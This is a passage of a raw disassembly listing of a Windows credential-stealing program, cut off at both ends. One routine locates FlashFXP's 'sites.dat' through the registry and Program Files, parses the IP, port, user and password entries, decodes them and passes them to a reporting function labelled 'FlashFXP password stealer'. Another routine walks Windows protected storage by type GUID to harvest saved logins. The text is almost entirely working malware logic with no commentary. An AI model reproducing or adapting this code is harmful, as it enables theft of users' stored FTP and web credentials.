aYa36za48dehfrv ; "yA36zA48dEhfrvghGRg57h5UlDv3" loc_4148B2: ; CODE XREF: sub_4147E5+C4j mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] test eax, eax jnz short loc_4148BE jmp short loc_4148C3 ; --------------------------------------------------------------------------- loc_4148BE: ; CODE XREF: sub_4147E5+D5j jmp loc_41481E ; --------------------------------------------------------------------------- loc_4148C3: ; CODE XREF: sub_4147E5+D7j mov eax, [ebp+arg_0] and byte ptr [eax], 0 push 1 pop eax locret_4148CC: ; CODE XREF: sub_4147E5+2Cj ; sub_4147E5+58j ... leave retn sub_4147E5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4148CE proc near ; CODE XREF: sub_414A1E+30p var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 20h and [ebp+var_14], 0 lea eax, [ebp+var_14] push eax push 20019h push 0 push offset aSoftwareClasse ; "SOFTWARE\\Classes\\Applications\\FlashFXP."... push 80000002h call dword_417008 ; RegOpenKeyExA mov [ebp+var_10], eax mov [ebp+var_4], 104h lea eax, [ebp+var_4] push eax push [ebp+arg_0] push 0 push 0 push 0 push [ebp+var_14] call dword_41700C ; RegQueryValueExA mov [ebp+var_10], eax push [ebp+var_14] call dword_417028 ; RegCloseKey cmp [ebp+var_10], 0 jnz short loc_414971 push offset aFlashfxp_exe1 ; "FlashFXP.exe %1" push 4 push [ebp+arg_0] call sub_407ACA add esp, 0Ch mov [ebp+var_18], eax cmp [ebp+var_18], 0 jnz short loc_414945 jmp loc_414A17 ; --------------------------------------------------------------------------- loc_414945: ; CODE XREF: sub_4148CE+70j push offset aSites_dat ; "sites.dat" push [ebp+var_18] call sub_416B3A ; _mbscpy pop ecx pop ecx mov eax, [ebp+var_18] add eax, 0Fh push eax mov eax, [ebp+var_18] add eax, 9 push eax call sub_416B3A ; _mbscpy pop ecx pop ecx push 1 pop eax jmp locret_414A1C ; --------------------------------------------------------------------------- loc_414971: ; CODE XREF: sub_4148CE+55j ; sub_4148CE:loc_414A17j push 104h push [ebp+arg_0] push offset aProgramfiles ; "ProgramFiles" call dword_417104 ; GetEnvironmentVariableA push offset aFlashfxpSites_ ; "\\FlashFXP\\sites.dat" push [ebp+arg_0] call sub_416B70 ; _mbscat pop ecx pop ecx push offset aRb ; "rb" push [ebp+arg_0] call sub_416B88 ; fopen pop ecx pop ecx mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_4149B0 push 1 pop eax jmp short locret_414A1C ; --------------------------------------------------------------------------- loc_4149B0: ; CODE XREF: sub_4148CE+DBj mov eax, dword_419398 mov [ebp+var_C], eax loc_4149B8: ; CODE XREF: sub_4148CE+143j lea eax, [ebp+var_C] push eax call dword_4170CC ; GetDriveTypeA mov [ebp+var_1C], eax cmp [ebp+var_1C], 5 jz short loc_414A02 cmp [ebp+var_1C], 2 jz short loc_414A02 lea eax, [ebp+var_C] push eax push offset aSflashfxpSites ; "%sFlashFXP\\sites.dat" push [ebp+arg_0] call sub_416B5E ; sprintf add esp, 0Ch push offset aRb ; "rb" push [ebp+arg_0] call sub_416B88 ; fopen pop ecx pop ecx mov [ebp+var_20], eax cmp [ebp+var_20], 0 jz short loc_414A02 push 1 pop eax jmp short locret_414A1C ; --------------------------------------------------------------------------- loc_414A02: ; CODE XREF: sub_4148CE+FBj ; sub_4148CE+101j ... mov al, byte ptr [ebp+var_C] add al, 1 mov byte ptr [ebp+var_C], al movsx eax, byte ptr [ebp+var_C] cmp eax, 5Ah jnz short loc_4149B8 xor eax, eax jmp short locret_414A1C ; --------------------------------------------------------------------------- loc_414A17: ; CODE XREF: sub_4148CE+72j jmp loc_414971 ; --------------------------------------------------------------------------- locret_414A1C: ; CODE XREF: sub_4148CE+9Ej ; sub_4148CE+E0j ... leave retn sub_4148CE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414A1E proc near ; DATA XREF: sub_414EB0+35o var_5E0 = dword ptr -5E0h var_5DC = dword ptr -5DCh var_5D8 = dword ptr -5D8h var_5D4 = dword ptr -5D4h var_5D0 = dword ptr -5D0h var_5CC = dword ptr -5CCh var_5C8 = dword ptr -5C8h var_5C4 = byte ptr -5C4h var_544 = byte ptr -544h var_4C4 = byte ptr -4C4h var_444 = byte ptr -444h var_3C4 = dword ptr -3C4h var_3C0 = dword ptr -3C0h var_3BC = dword ptr -3BCh var_3B8 = dword ptr -3B8h var_3B4 = byte ptr -3B4h var_334 = dword ptr -334h var_330 = byte ptr -330h var_32C = dword ptr -32Ch var_328 = byte ptr -328h var_190 = byte ptr -190h var_184 = dword ptr -184h var_180 = byte ptr -180h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 5E0h push 1A7h push [ebp+arg_0] lea eax, [ebp+var_32C] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx lea eax, [ebp+var_180] push eax call sub_4148CE pop ecx test eax, eax jnz short loc_414A6B push [ebp+var_32C] call sub_409763 pop ecx xor eax, eax jmp locret_414EAC ; --------------------------------------------------------------------------- loc_414A6B: ; CODE XREF: sub_414A1E+38j mov eax, [ebp+var_32C] push dword ptr [eax] push offset unk_41D308 lea eax, [ebp+var_328] push eax call sub_40D53F add esp, 0Ch and [ebp+var_184], 0 and [ebp+var_334], 0 mov al, [ebp+var_190] mov [ebp+var_330], al and [ebp+var_190], 0 push offset aRb ; "rb" lea eax, [ebp+var_180] push eax call sub_416B88 ; fopen pop ecx pop ecx mov [ebp+var_3C4], eax cmp [ebp+var_3C4], 0 jnz short loc_414ACF jmp loc_414EAA ; --------------------------------------------------------------------------- loc_414ACF: ; CODE XREF: sub_414A1E+AAj push 2 push 0 push [ebp+var_3C4] call sub_416B96 ; fseek add esp, 0Ch push [ebp+var_3C4] call sub_416B76 ; ftell pop ecx mov [ebp+var_3C0], eax cmp [ebp+var_3C0], 100000h jnb short loc_414B0D mov eax, [ebp+var_3C0] mov [ebp+var_5E0], eax jmp short loc_414B17 ; --------------------------------------------------------------------------- loc_414B0D: ; CODE XREF: sub_414A1E+DFj mov [ebp+var_5E0], 100000h loc_414B17: ; CODE XREF: sub_414A1E+EDj mov eax, [ebp+var_5E0] mov [ebp+var_3C0], eax push 0 push 0 push [ebp+var_3C4] call sub_416B96 ; fseek add esp, 0Ch mov eax, [ebp+var_3C0] inc eax push eax call sub_416B46 ; malloc pop ecx mov [ebp+var_3BC], eax cmp [ebp+var_3BC], 0 jnz short loc_414B63 push [ebp+var_3C4] call sub_416B82 ; fclose pop ecx jmp loc_414EA8 ; --------------------------------------------------------------------------- loc_414B63: ; CODE XREF: sub_414A1E+132j push [ebp+var_3C4] push [ebp+var_3C0] push 1 push [ebp+var_3BC] call sub_416B90 ; fread add esp, 10h push [ebp+var_3C4] call sub_416B82 ; fclose pop ecx mov eax, [ebp+var_3BC] add eax, [ebp+var_3C0] and byte ptr [eax], 0 mov eax, [ebp+var_3BC] mov [ebp+var_3B8], eax loc_414BA6: ; CODE XREF: sub_414A1E+428j push offset asc_41D300 ; "\r\n\r\n[" push [ebp+var_3B8] call sub_416BA8 ; strstr pop ecx pop ecx mov [ebp+var_5DC], eax mov eax, [ebp+var_3B8] mov [ebp+var_5D0], eax push offset aIp ; "\r\nIP=" push [ebp+var_3B8] call sub_416BA8 ; strstr pop ecx pop ecx mov [ebp+var_5C8], eax push offset aPort ; "\r\nPort=" push [ebp+var_3B8] call sub_416BA8 ; strstr pop ecx pop ecx mov [ebp+var_5D8], eax push offset aUser_0 ; "\r\nUser=" push [ebp+var_3B8] call sub_416BA8 ; strstr pop ecx pop ecx mov [ebp+var_5CC], eax push offset aPass_0 ; "\r\nPass=" push [ebp+var_3B8] call sub_416BA8 ; strstr pop ecx pop ecx mov [ebp+var_5D4], eax cmp [ebp+var_5C8], 0 jz loc_414E13 cmp [ebp+var_5DC], 0 jz short loc_414C52 mov eax, [ebp+var_5C8] cmp eax, [ebp+var_5DC] jnb loc_414E13 loc_414C52: ; CODE XREF: sub_414A1E+220j cmp [ebp+var_5D8], 0 jz loc_414E13 cmp [ebp+var_5DC], 0 jz short loc_414C7A mov eax, [ebp+var_5D8] cmp eax, [ebp+var_5DC] jnb loc_414E13 loc_414C7A: ; CODE XREF: sub_414A1E+248j cmp [ebp+var_5CC], 0 jz loc_414E13 cmp [ebp+var_5DC], 0 jz short loc_414CA2 mov eax, [ebp+var_5CC] cmp eax, [ebp+var_5DC] jnb loc_414E13 loc_414CA2: ; CODE XREF: sub_414A1E+270j cmp [ebp+var_5D4], 0 jz loc_414E13 cmp [ebp+var_5DC], 0 jz short loc_414CCA mov eax, [ebp+var_5D4] cmp eax, [ebp+var_5DC] jnb loc_414E13 loc_414CCA: ; CODE XREF: sub_414A1E+298j and [ebp+var_4C4], 0 mov al, [ebp+var_4C4] mov [ebp+var_3B4], al mov al, [ebp+var_3B4] mov [ebp+var_5C4], al mov al, [ebp+var_5C4] mov [ebp+var_444], al mov al, [ebp+var_444] mov [ebp+var_544], al lea eax, [ebp+var_544] push eax push offset asc_41D2D4 ; "[%[^]]]\r\n" push [ebp+var_5D0] call sub_416BA2 ; sscanf add esp, 0Ch lea eax, [ebp+var_444] push eax push offset aIp127s ; "\r\nIP=%127s\r\n" push [ebp+var_5C8] call sub_416BA2 ; sscanf add esp, 0Ch lea eax, [ebp+var_5C4] push eax push offset aPort127s ; "\r\nPort=%127s\r\n" push [ebp+var_5D8] call sub_416BA2 ; sscanf add esp, 0Ch lea eax, [ebp+var_3B4] push eax push offset aUser127s ; "\r\nUser=%127s\r\n" push [ebp+var_5CC] call sub_416BA2 ; sscanf add esp, 0Ch lea eax, [ebp+var_4C4] push eax push offset aPass127s ; "\r\nPass=%127s\r\n" push [ebp+var_5D4] call sub_416BA2 ; sscanf add esp, 0Ch lea eax, [ebp+var_4C4] push eax lea eax, [ebp+var_4C4] push eax call sub_4147E5 pop ecx pop ecx test eax, eax jnz short loc_414DA1 jmp loc_414E4B ; --------------------------------------------------------------------------- loc_414DA1: ; CODE XREF: sub_414A1E+37Cj mov eax, [ebp+var_334] inc eax mov [ebp+var_334], eax push 3E8h call dword_41709C ; Sleep lea eax, [ebp+var_544] push eax lea eax, [ebp+var_5C4] push eax lea eax, [ebp+var_444] push eax lea eax, [ebp+var_4C4] push eax lea eax, [ebp+var_3B4] push eax push [ebp+var_334] push offset dword_41D268 lea eax, [ebp+var_328] push eax call sub_40D53F add esp, 20h mov eax, [ebp+var_32C] cmp dword ptr [eax+4], 0 jz short loc_414E13 push [ebp+var_3BC] call sub_416B4C ; free pop ecx jmp loc_414EA6 ; --------------------------------------------------------------------------- loc_414E13: ; CODE XREF: sub_414A1E+213j ; sub_414A1E+22Ej ... mov eax, [ebp+var_184] inc eax mov [ebp+var_184], eax mov eax, [ebp+var_5DC] mov [ebp+var_3B8], eax cmp [ebp+var_3B8], 0 jnz short loc_414E37 jmp short loc_414E4B ; --------------------------------------------------------------------------- loc_414E37: ; CODE XREF: sub_414A1E+415j mov eax, [ebp+var_3B8] add eax, 4 mov [ebp+var_3B8], eax jmp loc_414BA6 ; --------------------------------------------------------------------------- loc_414E4B: ; CODE XREF: sub_414A1E+37Ej ; sub_414A1E+417j push [ebp+var_3BC] call sub_416B4C ; free pop ecx loc_414E57: ; CODE XREF: sub_414A1E:loc_414EA6j mov al, [ebp+var_330] mov [ebp+var_190], al push 3E8h call dword_41709C ; Sleep push [ebp+var_184] push [ebp+var_334] mov eax, [ebp+var_32C] push dword ptr [eax] push offset unk_41D22C lea eax, [ebp+var_328] push eax call sub_40D53F add esp, 14h loc_414E96: ; CODE XREF: sub_414A1E:loc_414EA8j ; sub_414A1E:loc_414EAAj push [ebp+var_32C] call sub_409763 pop ecx xor eax, eax jmp short locret_414EAC ; --------------------------------------------------------------------------- loc_414EA6: ; CODE XREF: sub_414A1E+3F0j jmp short loc_414E57 ; --------------------------------------------------------------------------- loc_414EA8: ; CODE XREF: sub_414A1E+140j jmp short loc_414E96 ; --------------------------------------------------------------------------- loc_414EAA: ; CODE XREF: sub_414A1E+ACj jmp short loc_414E96 ; --------------------------------------------------------------------------- locret_414EAC: ; CODE XREF: sub_414A1E+48j ; sub_414A1E+486j leave retn 4 sub_414A1E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414EB0 proc near ; CODE XREF: sub_40A9CF+769p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push 1A7h call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_414ECA jmp short locret_414EF2 ; --------------------------------------------------------------------------- loc_414ECA: ; CODE XREF: sub_414EB0+16j push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 4 push eax call sub_405F67 pop ecx pop ecx push offset aFlashfxpPasswo ; "FlashFXP password stealer" push 0 push [ebp+var_4] push offset sub_414A1E call sub_4095A4 add esp, 10h locret_414EF2: ; CODE XREF: sub_414EB0+18j leave retn sub_414EB0 endp ; =============== S U B R O U T I N E ======================================= sub_414EF4 proc near ; DATA XREF: sub_415AF0+40o mov eax, offset loc_416FDD call sub_416E10 sub esp, 0FFCh push esi push edi push 1A7h push dword ptr [ebp+8] lea eax, [ebp-0BF0h] push eax call sub_416B52 ; memcpy add esp, 0Ch push dword ptr [ebp+8] call sub_416B4C ; free pop ecx and dword ptr [ebp-0A00h], 0 and dword ptr [ebp-4], 0 cmp dword ptr [ebp-0A00h], 0 jz short loc_414F4C mov eax, [ebp-0A00h] mov ecx, [ebp-0A00h] mov ecx, [ecx] push eax call dword ptr [ecx+8] loc_414F4C: ; CODE XREF: sub_414EF4+44j and dword ptr [ebp-0A00h], 0 push 0 push 0 push 0 lea eax, [ebp-0A00h] push eax call dword_41DE80 mov [ebp-0DF4h], eax cmp dword ptr [ebp-0DF4h], 0 jge short loc_414FB2 push dword ptr [ebp-0BF0h] call sub_409763 pop ecx and dword ptr [ebp-0FD0h], 0 or dword ptr [ebp-4], 0FFFFFFFFh cmp dword ptr [ebp-0A00h], 0 jz short loc_414FA7 mov eax, [ebp-0A00h] mov ecx, [ebp-0A00h] mov ecx, [ecx] push eax call dword ptr [ecx+8] loc_414FA7: ; CODE XREF: sub_414EF4+9Fj mov eax, [ebp-0FD0h] jmp loc_415AE0 ; --------------------------------------------------------------------------- loc_414FB2: ; CODE XREF: sub_414EF4+7Fj and dword ptr [ebp-10h], 0 mov byte ptr [ebp-4], 1 cmp dword ptr [ebp-10h], 0 jz short loc_414FCC mov eax, [ebp-10h] mov ecx, [ebp-10h] mov ecx, [ecx] push eax call dword ptr [ecx+8] loc_414FCC: ; CODE XREF: sub_414EF4+CAj and dword ptr [ebp-10h], 0 cmp dword ptr [ebp-0A00h], 0 jnz short loc_414FE3 push 80004003h call sub_416E40 loc_414FE3: ; CODE XREF: sub_414EF4+E3j mov eax, [ebp-0A00h] mov [ebp-0FE0h], eax lea eax, [ebp-10h] push eax push 0 push 0 mov eax, [ebp-0FE0h] mov eax, [eax] push dword ptr [ebp-0FE0h] call dword ptr [eax+38h] mov [ebp-0FDCh], eax cmp dword ptr [ebp-0FDCh], 0 jge short loc_41502D push offset dword_41D598 push dword ptr [ebp-0FE0h] push dword ptr [ebp-0FDCh] call sub_416E4E loc_41502D: ; CODE XREF: sub_414EF4+121j mov eax, [ebp-0FDCh] mov [ebp-0DF4h], eax cmp dword ptr [ebp-0DF4h], 0 jge short loc_415095 push dword ptr [ebp-0BF0h] call sub_409763 pop ecx and dword ptr [ebp-0FD4h], 0 and byte ptr [ebp-4], 0 cmp dword ptr [ebp-10h], 0 jz short loc_41506B mov eax, [ebp-10h] mov ecx, [ebp-10h] mov ecx, [ecx] push eax call dword ptr [ecx+8] loc_41506B: ; CODE XREF: sub_414EF4+169j or dword ptr [ebp-4], 0FFFFFFFFh cmp dword ptr [ebp-0A00h], 0 jz short loc_41508A mov eax, [ebp-0A00h] mov ecx, [ebp-0A00h] mov ecx, [ecx] push eax call dword ptr [ecx+8] loc_41508A: ; CODE XREF: sub_414EF4+182j mov eax, [ebp-0FD4h] jmp loc_415AE0 ; --------------------------------------------------------------------------- loc_415095: ; CODE XREF: sub_414EF4+14Cj mov eax, [ebp-0BF0h] push dword ptr [eax] push offset unk_41D564 lea eax, [ebp-0BECh] push eax call sub_40D53F add esp, 0Ch and dword ptr [ebp-214h], 0 mov al, [ebp-0A54h] mov [ebp-0A14h], al and byte ptr [ebp-0A54h], 0 loc_4150CB: ; CODE XREF: sub_414EF4:loc_415A54j cmp dword ptr [ebp-10h], 0 jnz short loc_4150DB push 80004003h call sub_416E40 loc_4150DB: ; CODE XREF: sub_414EF4+1DBj push 0 lea eax, [ebp-0A10h] push eax push 1 mov eax, [ebp-10h] mov [ebp-1000h], eax mov eax, [ebp-1000h] mov eax, [eax] push dword ptr [ebp-1000h] call dword ptr [eax+0Ch] test eax, eax jnz loc_415A59 mov eax, [ebp-0BF0h] cmp dword ptr [eax+4], 0 jz short loc_415119 jmp loc_415A59 ; --------------------------------------------------------------------------- loc_415119: ; CODE XREF: sub_414EF4+21Ej sub esp, 10h lea esi, [ebp-0A10h] mov edi, esp movsd movsd movsd movsd push offset asc_41D560 ; "%x" lea eax, [ebp-0A48h] push eax call dword_4171E0 ; wsprintfA add esp, 18h and dword ptr [ebp-0DF8h], 0 mov byte ptr [ebp-4], 2 cmp dword ptr [ebp-0DF8h], 0 jz short loc_415163 mov eax, [ebp-0DF8h] mov ecx, [ebp-0DF8h] mov ecx, [ecx] push eax call dword ptr [ecx+8] loc_415163: ; CODE XREF: sub_414EF4+25Bj and dword ptr [ebp-0DF8h], 0 cmp dword ptr [ebp-0A00h], 0 jnz short loc_41517D push 80004003h call sub_416E40 loc_41517D: ; CODE XREF: sub_414EF4+27Dj mov eax, [ebp-0A00h] mov [ebp-0FE8h], eax lea eax, [ebp-0DF8h] push eax push 0 lea eax, [ebp-0A10h] push eax push 0 mov eax, [ebp-0FE8h] mov eax, [eax] push dword ptr [ebp-0FE8h] call dword ptr [eax+3Ch] mov [ebp-0FE4h], eax cmp dword ptr [ebp-0FE4h], 0 jge short loc_4151D1 push offset dword_41D598 push dword ptr [ebp-0FE8h] push dword ptr [ebp-0FE4h] call sub_416E4E loc_4151D1: ; CODE XREF: sub_414EF4+2C5j mov eax, [ebp-0FE4h] mov [ebp-0DF4h], eax loc_4151DD: ; CODE XREF: sub_414EF4:loc_415A30j cmp dword ptr [ebp-0DF8h], 0 jnz short loc_4151F0 push 80004003h call sub_416E40 loc_4151F0: ; CODE XREF: sub_414EF4+2F0j push 0 lea eax, [ebp-0E08h] push eax push 1 mov eax, [ebp-0DF8h] mov [ebp-1004h], eax mov eax, [ebp-1004h] mov eax, [eax] push dword ptr [ebp-1004h] call dword ptr [eax+0Ch] test eax, eax jnz loc_415A35 and dword ptr [ebp-0E14h], 0 mov byte ptr [ebp-4], 3 cmp dword ptr [ebp-0E14h], 0 jz short loc_415246 mov eax, [ebp-0E14h] mov ecx, [ebp-0E14h] mov ecx, [ecx] push eax call dword ptr [ecx+8] loc_415246: ; CODE XREF: sub_414EF4+33Ej and dword ptr [ebp-0E14h], 0 cmp dword ptr [ebp-0A00h], 0 jnz short loc_415260 push 80004003h call sub_416E40 loc_415260: ; CODE XREF: sub_414EF4+360j mov eax, [ebp-0A00h] mov [ebp-0FF0h], eax lea eax, [ebp-0E14h] push eax push 0 lea eax, [ebp-0E08h] push eax lea eax, [ebp-0A10h] push eax push 0 mov eax, [ebp-0FF0h] mov eax, [eax] push dword ptr [ebp-0FF0h] call dword ptr [eax+54h] mov [ebp-0FECh], eax cmp dword ptr [ebp-0FECh], 0 jge short loc_4152BB push offset dword_41D598 push dword ptr [ebp-0FF0h] push dword ptr [ebp-0FECh] call sub_416E4E loc_4152BB: ; CODE XREF: sub_414EF4+3AFj mov eax, [ebp-0FECh] mov [ebp-0E10h], eax loc_4152C7: ; CODE XREF: sub_414EF4+B18j cmp dword ptr [ebp-0E14h], 0 jnz short loc_4152DA push 80004003h call sub_416E40 loc_4152DA: ; CODE XREF: sub_414EF4+3DAj push 0 lea eax, [ebp-0E0Ch] push eax push 1 mov eax, [ebp-0E14h] mov [ebp-1008h], eax mov eax, [ebp-1008h] mov eax, [eax] push dword ptr [ebp-1008h] call dword ptr [eax+0Ch] test eax, eax jnz loc_415A11 push dword ptr [ebp-0E0Ch] push offset aWs ; "%ws" lea eax, [ebp-210h] push eax call dword_4171E0 ; wsprintfA add esp, 0Ch and dword ptr [ebp-0E18h], 0 and dword ptr [ebp-0EE8h], 0 and dword ptr [ebp-0EE4h], 0 cmp dword ptr [ebp-0A00h], 0 jnz short loc_41534D push 80004003h call sub_416E40 loc_41534D: ; CODE XREF: sub_414EF4+44Dj mov eax, [ebp-0E0Ch] loc_415353: ; DATA XREF: .data:off_419100o mov [ebp-0FFCh], eax mov eax, [ebp-0A00h] mov [ebp-0FF8h], eax push 0 push dword ptr [ebp-0EE4h] lea eax, [ebp-0EE8h] push eax lea eax, [ebp-0E18h] push eax push dword ptr [ebp-0FFCh] lea eax, [ebp-0E08h] push eax lea eax, [ebp-0A10h] push eax push 0 mov eax, [ebp-0FF8h] mov eax, [eax] push dword ptr [ebp-0FF8h] call dword ptr [eax+44h] mov [ebp-0FF4h], eax cmp dword ptr [ebp-0FF4h], 0 jge short loc_4153C7 push offset dword_41D598 push dword ptr [ebp-0FF8h] push dword ptr [ebp-0FF4h] call sub_416E4E loc_4153C7: ; CODE XREF: sub_414EF4+4BBj mov eax, [ebp-0FF4h] mov [ebp-0E10h], eax push dword ptr [ebp-0EE8h] call sub_416B40 ; strlen pop ecx mov ecx, [ebp-0E18h] dec ecx cmp eax, ecx jnb loc_415477 and dword ptr [ebp-0EECh], 0 and dword ptr [ebp-0EF0h], 0 jmp short loc_41540C ; --------------------------------------------------------------------------- loc_4153FE: ; CODE XREF: sub_414EF4+571j mov eax, [ebp-0EF0h] inc eax inc eax mov [ebp-0EF0h], eax loc_41540C: ; CODE XREF: sub_414EF4+508j mov eax, [ebp-0EF0h] cmp eax, [ebp-0E18h] jnb short loc_415467 mov eax, [ebp-0EE8h] add eax, [ebp-0EF0h] movzx eax, byte ptr [eax] test eax, eax jnz short loc_41543D mov eax, [ebp-0EECh] mov byte ptr [ebp+eax-9FCh], 2Ch jmp short loc_415458 ; --------------------------------------------------------------------------- loc_41543D: ; CODE XREF: sub_414EF4+537j mov eax, [ebp-0EE8h] add eax, [ebp-0EF0h] mov ecx, [ebp-0EECh] mov al, [eax] mov [ebp+ecx-9FCh], al loc_415458: ; CODE XREF: sub_414EF4+547j mov eax, [ebp-0EECh] inc eax mov [ebp-0EECh], eax jmp short loc_4153FE ; --------------------------------------------------------------------------- loc_415467: ; CODE XREF: sub_414EF4+524j mov eax, [ebp-0EECh] and byte ptr [ebp+eax-9FDh], 0 jmp short loc_415492 ; --------------------------------------------------------------------------- loc_415477: ; CODE XREF: sub_414EF4+4F4j push dword ptr [ebp-0EE8h] push offset dword_418B64 lea eax, [ebp-9FCh] push eax call dword_4171E0 ; wsprintfA add esp, 0Ch loc_415492: ; CODE XREF: sub_414EF4+581j push offset byte_41DE30 lea eax, [ebp-7FCh] push eax call dword_4170FC ; lstrcpy push offset byte_41DE30 lea eax, [ebp-0DF0h] push eax call dword_4170FC ; lstrcpy push offset a220d5cc1 ; "220d5cc1" lea eax, [ebp-0A48h] push eax call dword_417108 ; lstrcmp test eax, eax jnz short loc_41550C mov eax, [ebp-214h] inc eax mov [ebp-214h], eax movsx eax, byte ptr [ebp-0A57h] test eax, eax jnz short loc_41550C lea eax, [ebp-9FCh] push eax lea eax, [ebp-210h] push eax push dword ptr [ebp-214h] push offset dword_41D510 lea eax, [ebp-0BECh] push eax call sub_40D53F add esp, 14h loc_41550C: ; CODE XREF: sub_414EF4+5D6j ; sub_414EF4+5EEj push offset a5e7e8100 ; "5e7e8100" lea eax, [ebp-0A48h] push eax call dword_417108 ; lstrcmp test eax, eax jnz loc_4155CE push offset byte_41DE30 lea eax, [ebp-0EE0h] push eax call dword_4170FC ; lstrcpy push offset asc_4184FC ; ":" lea eax, [ebp-9FCh] push eax call sub_416BA8 ; strstr pop ecx pop ecx test eax, eax jz short loc_415587 push offset asc_4184FC ; ":" lea eax, [ebp-9FCh] push eax call sub_416BA8 ; strstr pop ecx pop ecx inc eax push eax lea eax, [ebp-0EE0h] push eax call dword_4170FC ; lstrcpy push offset asc_4184FC ; ":" lea eax, [ebp-9FCh] push eax call sub_416BA8 ; strstr pop ecx pop ecx and byte ptr [eax], 0 loc_415587: ; CODE XREF: sub_414EF4+659j mov eax, [ebp-214h] inc eax mov [ebp-214h], eax push 3E8h call dword_41709C ; Sleep lea eax, [ebp-0EE0h] push eax lea eax, [ebp-9FCh] push eax lea eax, [ebp-210h] push eax push dword ptr [ebp-214h] push offset dword_41D4AC lea eax, [ebp-0BECh] push eax call sub_40D53F add esp, 18h loc_4155CE: ; CODE XREF: sub_414EF4+62Cj push offset aB9819c52 ; "b9819c52" lea eax, [ebp-0A48h] push eax call dword_417108 ; lstrcmp test eax, eax jnz loc_415842 and dword ptr [ebp-0FC8h], 0 mov dword ptr [ebp-0EFCh], 1 and dword ptr [ebp-0FCCh], 0 jmp short loc_415610 ; --------------------------------------------------------------------------- loc_415602: ; CODE XREF: sub_414EF4:loc_4156CFj mov eax, [ebp-0FCCh] inc eax inc eax mov [ebp-0FCCh], eax loc_415610: ; CODE XREF: sub_414EF4+70Cj mov eax, [ebp-0FCCh] cmp eax, [ebp-0E18h] jnb loc_4156D4 mov eax, [ebp-0EE8h] add eax, [ebp-0FCCh] movzx eax, byte ptr [eax] test eax, eax jnz short loc_415652 mov eax, [ebp-0FC8h] mov byte ptr [ebp+eax-9FCh], 2Ch mov eax, [ebp-0FC8h] inc eax mov [ebp-0FC8h], eax jmp short loc_4156CF ; --------------------------------------------------------------------------- loc_415652: ; CODE XREF: sub_414EF4+73Fj mov eax, [ebp-0EE8h] add eax, [ebp-0FCCh] mov al, [eax] push eax call dword_4171DC ; IsCharAlphaNumericA test eax, eax jnz short loc_4156A7 mov eax, [ebp-0EE8h] add eax, [ebp-0FCCh] movzx eax, byte ptr [eax] cmp eax, 40h jz short loc_4156A7 mov eax, [ebp-0EE8h] add eax, [ebp-0FCCh] movzx eax, byte ptr [eax] cmp eax, 2Eh jz short loc_4156A7 mov eax, [ebp-0EE8h] add eax, [ebp-0FCCh] movzx eax, byte ptr [eax] cmp eax, 5Fh jnz short loc_4156CF loc_4156A7: ; CODE XREF: sub_414EF4+775j ; sub_414EF4+789j ... mov eax, [ebp-0EE8h] add eax, [ebp-0FCCh] mov ecx, [ebp-0FC8h] mov al, [eax] mov [ebp+ecx-9FCh], al mov eax, [ebp-0FC8h] inc eax mov [ebp-0FC8h], eax loc_4156CF: ; CODE XREF: sub_414EF4+75Cj ; sub_414EF4+7B1j jmp loc_415602 ; --------------------------------------------------------------------------- loc_4156D4: ; CODE XREF: sub_414EF4+728j mov eax, [ebp-0FC8h] and byte ptr [ebp+eax-9FDh], 0 lea eax, [ebp-9FAh] mov [ebp-0EF4h], eax and dword ptr [ebp-0EF8h], 0 jmp short loc_415704 ; --------------------------------------------------------------------------- loc_4156F7: ; CODE XREF: sub_414EF4:loc_41583Dj mov eax, [ebp-0EF8h] inc eax mov [ebp-0EF8h], eax loc_415704: ; CODE XREF: sub_414EF4+801j mov eax, [ebp-0EE8h] movzx eax, byte ptr [eax+4] cmp [ebp-0EF8h], eax jge loc_415842 mov eax, [ebp-0EF4h] inc eax push eax lea eax, [ebp-0FC4h] push eax call dword_4170FC ; lstrcpy push offset dword_41D49C lea eax, [ebp-0FC4h] push eax call sub_416BA8 ; strstr pop ecx pop ecx test eax, eax jz short loc_41575C push offset dword_41D49C lea eax, [ebp-0FC4h] push eax call sub_416BA8 ; strstr pop ecx pop ecx and byte ptr [eax], 0 loc_41575C: ; CODE XREF: sub_414EF4+850j push offset dword_41D49C mov eax, [ebp-0EF4h] inc eax push eax call sub_416BA8 ; strstr pop ecx pop ecx test eax, eax jz short loc_415798 push offset dword_41D49C mov eax, [ebp-0EF4h] inc eax push eax call sub_416BA8 ; strstr pop ecx pop ecx inc eax inc eax push eax lea eax, [ebp-0F60h] push eax call dword_4170FC ; lstrcpy loc_415798: ; CODE XREF: sub_414EF4+87Ej push offset dword_41D49C lea eax, [ebp-0F60h] push eax call sub_416BA8 ; strstr pop ecx pop ecx test eax, eax jz short loc_4157C5 push offset dword_41D49C lea eax, [ebp-0F60h] push eax call sub_416BA8 ; strstr pop ecx pop ecx and byte ptr [eax], 0 loc_4157C5: ; CODE XREF: sub_414EF4+8B9j push offset dword_41D49C mov eax, [ebp-0EF4h] inc eax push eax call sub_416BA8 ; strstr pop ecx pop ecx mov esi, eax lea eax, [ebp-0F60h] push eax call dword_41703C ; lstrlen lea eax, [esi+eax+9] mov [ebp-0EF4h], eax mov eax, [ebp-214h] inc eax mov [ebp-214h], eax push 3E8h call dword_41709C ; Sleep movsx eax, byte ptr [ebp-0A57h] test eax, eax jnz short loc_41583D lea eax, [ebp-0F60h] push eax lea eax, [ebp-0FC4h] push eax push dword ptr [ebp-214h] push offset dword_41D45C lea eax, [ebp-0BECh] push eax call sub_40D53F add esp, 14h loc_41583D: ; CODE XREF: sub_414EF4+91Fj jmp loc_4156F7 ; --------------------------------------------------------------------------- loc_415842: ; CODE XREF: sub_414EF4+6EEj ; sub_414EF4+820j push offset 